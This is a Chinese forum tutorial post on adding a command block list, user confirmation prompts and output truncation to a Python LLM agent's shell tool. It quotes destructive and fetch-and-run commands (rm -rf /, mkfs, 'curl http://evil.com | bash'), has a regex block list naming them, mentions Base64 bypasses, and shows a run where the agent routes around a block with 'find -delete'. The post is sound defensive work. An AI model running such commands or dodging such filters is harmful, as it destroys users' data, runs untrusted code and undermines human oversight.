找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

4406

积分

0

好友

612

主题
发表于 1 小时前 | 查看: 2| 回复: 0

欢迎阅读「从零开始理解 Agent」系列第七篇。前六篇我们一直在给 Agent 添加各种能力,但有一个潜在的危险被我们忽视了:Agent 手里握着一把没有保险的枪。

回想第一篇中的 execute_bash 工具——它可以执行任意 Shell 命令。是任意命令,包括 rm -rf /mkfs.ext4 /dev/sdacurl http://evil.com | bash。大型语言模型(LLM)并非完美,它可能因理解偏差、产生幻觉,或被提示词注入(Prompt Injection)诱导而执行危险操作。

这并非理论风险。只要你真正让 Agent 处理过实际任务,很可能遇到过它试图执行一些你未曾预料到的操作。

今天,我们将基于最初的 agent.py,为它加上三道关键的安全防线,让 Agent 从“裸奔”状态升级为“有保险”的安全模式。

关于本篇代码的说明:与第四、五、六篇类似,本篇的 agent-safe.py 是一个新开发的文件,它基于第一篇的 agent.py,核心改动是新增了三道安全防线。

一、Agent 的安全问题到底有多严重?

先看几个 Agent 可能执行的命令示例:

# LLM 想“清理临时文件”,但路径搞错了
rm -rf /

# LLM 想“重置数据库”,结果格式化了磁盘
mkfs.ext4 /dev/sda1

# LLM 在网上“找到了一个解决方案”
curl http://malicious.com/script.sh | bash

# LLM 想“修复权限问题”
chmod 777 /

# LLM 陷入循环,输出了一个 10MB 的文件内容,撑爆上下文窗口
cat /var/log/syslog

这些并非 LLM 的恶意行为,而是它在“尽力完成任务”过程中可能走上的歧途。LLM 无法真正理解“删除根目录”的后果——对它而言,rm 只是一个“删除文件的工具”。

像 OpenClaw 和 Claude Code 这类成熟产品是如何解决这个问题的?它们有一个共同的核心设计:每次执行命令前,都会弹出一个确认框,让用户选择“允许”还是“拒绝”。这就是人机协作中至关重要的安全边界。

二、三道防线的设计思路

我们的安全方案将由三道防线构成,它们从外到内逐层过滤风险:

LLM 输出一条命令
  │
  ▼
防线 1: 命令黑名单
  │ “rm -rf /” → 🚫 直接拦截,不问用户
  │ “ls -la”   → ✅ 通过
  ▼
防线 2: 用户确认
  │ “find . -name '*.py'” → 用户看到后按 Y 放行
  │                        → 用户按 N 跳过
  │                        → 用户按 Q 终止 Agent
  ▼
防线 3: 输出截断
  │ 命令输出 10000 行 → 截断为首尾各 2500 字符
  │ 命令输出 10 行    → 原样返回
  ▼
结果返回给 LLM

这三道防线各有分工:黑名单拦截“绝对禁止的操作”,用户确认判断“需要人类介入的操作”,输出截断处理“结果过载的问题”。

三、防线 1:命令黑名单

这是最简单粗暴,但也最可靠的防线。它不依赖 AI 判断,纯粹基于正则表达式匹配。rm -rf / 一旦命中规则,直接拦截,连用户确认的机会都不给。

DANGEROUS_PATTERNS = [
    r'\brm\s+(-[a-zA-Z]*f[a-zA-Z]*\s+|.*--no-preserve-root)',  # rm -rf
    r'\brm\s+(-[a-zA-Z]*r[a-zA-Z]*\s+)?/',                     # rm /
    r'\bmkfs\b',                                               # 格式化磁盘
    r'\bdd\s+.*of\s*=\s*/dev/',                                # 覆写磁盘
    r'>\s*/dev/sd[a-z]',                                       # 重定向到磁盘设备
    r'\bchmod\s+(-R\s+)?777\s+/',                              # chmod 777 /
    r':\(\)\s*\{',                                             # fork bomb
    r'\bcurl\b.*\|\s*(ba)?sh',                                 # curl | bash
    r'\bwget\b.*\|\s*(ba)?sh',                                 # wget | bash
    r'\bshutdown\b',                                           # 关机
    r'\breboot\b',                                             # 重启
]

def is_dangerous(command):
    for pattern in DANGEROUS_PATTERNS:
        if re.search(pattern, command):
            return True, pattern
    return False, None

execute_bash 函数的最开头调用它:

def execute_bash(command):
    dangerous, pattern = is_dangerous(command)
    if dangerous:
        return f"🚫 命令被拦截(匹配危险模式: {pattern}): {command}"
    # ... 继续执行

LLM 会收到“命令被拦截”的返回信息,然后它可以尝试换一种更安全的方式来达成目标。

黑名单能拦住所有危险命令吗?

不能。 黑名单只能拦截已知的危险模式。一个精心构造的命令(例如使用变量拼接、Base64编码)完全有可能绕过正则匹配。因此,黑名单不应是唯一的防线——它只是第一道过滤器,用于阻挡最显而易见的危险操作。真正的兜底机制,在于第二道防线。

四、防线 2:用户确认

通过了黑名单检测的命令,在执行前还需要经过人类的最终裁决。

def ask_user_confirmation(tool_name, args):
    if AUTO_APPROVE:
        return True

    print(f"\n┌─ 确认执行 ─────────────────────────────")
    print(f"│ 工具: {tool_name}")
    for key, value in args.items():
        print(f"│ {key}: {str(value)[:200]}")
    print(f"└────────────────────────────────────────")

    while True:
        answer = input("[Y]执行 / [N]跳过 / [Q]终止 Agent > ").strip().lower()
        if answer in ('y', 'yes', ''):
            return True
        elif answer in ('n', 'no'):
            return False
        elif answer in ('q', 'quit'):
            sys.exit(0)

用户看到完整的命令详情后,有三个选择:

输入 效果
Y 或回车 放行,执行这条命令
N 跳过,返回“用户跳过了此命令”给 LLM
Q 直接终止整个 Agent 进程

这就是 OpenClaw / Claude Code 中“Allow / Deny”机制的极简实现。

所有工具都需要确认吗?

agent-safe.py 中,三个工具(bash、read_file、write_file)都会触发确认。但在实际产品中,确认策略可以设计得更精细:

  • read_file 通常是安全的(只读不写),可以考虑默认放行。
  • write_file 需要看路径——写入项目目录内的可以放行,尝试写入 `/etc/ 等系统目录的必须确认。
  • bash 最危险——或许每次都需要确认,或者采用白名单模式(只允许 lsgrepcat 等安全命令免确认)。

启动时使用 --auto 参数可以跳过所有确认,适用于高度信任的场景(例如在隔离的 Docker 容器内运行)。

五、防线 3:输出截断

第三道防线解决的不是“命令危险”的问题,而是“结果过大”的问题。

假设 LLM 执行了 cat /var/log/syslog,返回了 10MB 的日志内容。这些内容会被追加到 messages 对话历史中,很可能导致下一轮 API 调用因超出上下文窗口限制而失败。第六篇讲的压缩是事后补救,而输出截断则是从源头进行控制

MAX_OUTPUT_LENGTH = 5000

def truncate_output(text):
    if len(text) <= MAX_OUTPUT_LENGTH:
        return text
    half = MAX_OUTPUT_LENGTH // 2
    return (
        text[:half]
        + f"\n\n... [输出过长,已截断。原始 {len(text)} 字符,保留首尾各 {half} 字符] ...\n\n"
        + text[-half:]
    )

截断策略是保留输出内容的首尾各一半——开头通常包含列标题或文件头部信息,结尾则往往包含最新的记录或错误信息,中间的细节可以被安全地舍弃。

六、三道防线在 execute_bash 中的串联

现在,让我们看看这三道防线如何在 execute_bash 函数中被串联起来:

def execute_bash(command):
    # 防线 1: 黑名单
    dangerous, pattern = is_dangerous(command)
    if dangerous:
        return f"🚫 命令被拦截: {command}"

    # 防线 2: 用户确认
    if not ask_user_confirmation("execute_bash”, {“command”: command}):
        return “用户跳过了此命令。”

    # 实际执行
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True, timeout=30)
        output = result.stdout + result.stderr
    except subprocess.TimeoutExpired:
        output = “Error: 命令执行超时(30秒)”
    except Exception as e:
        output = f“Error: {str(e)}”

    # 防线 3: 输出截断
    return truncate_output(output)

三道防线依次串联:先过黑名单 → 再过用户确认 → 最后截断输出。每一道防线都是独立的,只要被拦截就直接返回,不再进入下一道。

七、实际运行效果

让我们通过一个例子来看看它的实际表现:

$ python agent-safe.py “清理 /tmp 下的所有文件”
[Tool] execute_bash({“command”: “rm -rf /tmp/*”})
  🚫 命令被拦截(匹配危险模式: rm -rf): rm -rf /tmp/*

(LLM 收到拦截信息后换了一种方式)

[Tool] execute_bash({“command”: “find /tmp -type f -delete”})

┌─ 确认执行 ─────────────────────────────
│ 工具: execute_bash
│ command: find /tmp -type f -delete
└────────────────────────────────────────
[Y]执行 / [N]跳过 / [Q]终止 Agent > n

(用户觉得不安全,跳过了)

[Tool] execute_bash({“command”: “ls /tmp”})

┌─ 确认执行 ─────────────────────────────
│ 工具: execute_bash
│ command: ls /tmp
└────────────────────────────────────────
[Y]执行 / [N]跳过 / [Q]终止 Agent > y

(用户放行,Agent 先看看 /tmp 里有什么再决定下一步)

注意观察 LLM 的行为模式:第一次 rm -rf 被拦截后,它尝试了 find -delete(绕过了黑名单但被用户拒绝),最后退而求其次,先执行 ls 查看情况。Agent 在安全约束下会自适应地调整策略——这正是将拦截信息明确返回给 LLM 的好处。

八、nanoAgent 与生产级安全方案的对比

我们的 agent-safe.py 实现的是“最小可行安全”(Minimum Viable Security)方案。它与生产级方案的对比如下:

维度 agent-safe.py OpenClaw / Claude Code 等生产方案
命令过滤 正则黑名单 更精细的分类:安全命令免确认、危险命令强制拦截、中间地带由用户选择
用户确认 文本终端 Y/N 图形化界面,支持 “Always allow” 记住选择
执行隔离 Docker / 虚拟机沙箱,严格限制文件系统访问范围
输出控制 字符数截断 基于 Token 数精确控制,并结合上下文压缩机制
网络控制 限制可访问的域名、禁止下载并执行远程脚本

nanoAgent 的方案用不到 80 行代码实现了三道核心防线,已经覆盖了最常见的风险场景。生产环境通常在此基础上,叠加沙箱隔离和更精细的策略管理。

九、进化方向:从硬编码到 Hook 管道

让我们回顾一下 execute_bash 的代码结构:

def execute_bash(command):
    is_dangerous(command)          # 检查 1:黑名单
    ask_user_confirmation(...)     # 检查 2:用户确认
    result = subprocess.run(...)   # 实际执行
    truncate_output(result)        # 后处理:截断

这三道防线是硬编码在函数内部的。如果想增加一个新的检查(例如“记录所有执行的命令到日志文件”),就必须修改 execute_bash 函数的源码。如果想对 read_file 工具也应用同样的检查,又得重写一遍。

生产级的 Agent 框架会将这类检查抽象为Hook(钩子)机制——一个可插拔的管道:

# 定义 Hook 管道
before_hooks = [check_blacklist, ask_confirmation, log_command]
after_hooks  = [truncate_output, log_result]

# 通用的工具执行函数
def execute_tool(name, args):
    # 执行前:依次过所有 before hook
    for hook in before_hooks:
        blocked, msg = hook(name, args)
        if blocked:
            return msg              # 任何一个 hook 都可以拦截

    # 实际执行
    result = available_functions[name](**args)

    # 执行后:依次过所有 after hook
    for hook in after_hooks:
        result = hook(name, result)

    return result

这样做的好处显而易见:

  • 可插拔:增加新检查只需向列表 append 一个函数,无需改动核心逻辑。
  • 可复用:同一套 Hook 管道对所有工具生效,避免了重复代码。
  • 可配置:不同场景可以挂载不同的 Hook 组合(例如开发环境宽松,生产环境严格)。

本文实现的三道防线,可以看作三个独立 Hook 的“手动硬编码版本”。理解了硬编码的实现方式,Hook 机制本质上只是把一连串的 if 语句替换成了一个 for 循环——从“写死要执行哪些检查”变为“动态注册哪些检查”。

十、系列收官

七篇文章,我们从 115 行代码出发,构建了一个完整的 Agent 认知体系:

核心主题 一句话概括
工具 + 循环 Agent 最本质的最小核心
记忆 + 规划 记住过去,规划未来
Rules + Skills + MCP 扩展知识与工具集
SubAgent 即用即弃的“一次性临时工”
Teams 有记忆、有身份、能通信的正式团队
上下文压缩 记住要点,忘掉细节
安全与权限 能力越大,防线越重要

前六篇回答了“Agent 能做什么”,而第七篇则聚焦于“Agent 不能做什么”。能力与约束,本就是一体两面。

如果把 Agent 比作一辆车:

  • 第一篇安装了引擎(工具 + 循环)
  • 第二篇加装了后视镜和导航(记忆 + 规划)
  • 第三篇配备了可换配件和使用手册(Rules + Skills + MCP)
  • 第四篇让它能呼叫外援(SubAgent)
  • 第五篇让它能组建车队(Teams)
  • 第六篇加装了油量警告灯(上下文压缩)
  • 第七篇则装上了刹车和安全气囊(安全防线 + Hook 机制)

至此,这辆车从底盘到安全系统都已齐备。如果你拆开 OpenClaw 或 Claude Code 这样的成熟产品,里面正是由这些模块构成的——每一个单独拿出来都不复杂,但组合在一起,就形成了一个能够自主、安全工作的智能体。


本文基于 agent-safe.py 源码分析。欢迎在技术社区交流更多关于 AI 应用安全的实践经验。




上一篇:JiuwenClaw AI智能体入门:基于Python的自主演进管家部署与配置指南
下一篇:图层混合模式的数学原理解析:从PS到AI注意力机制的智能世界构建逻辑
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-3-20 09:34 , Processed in 0.634692 second(s), 41 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表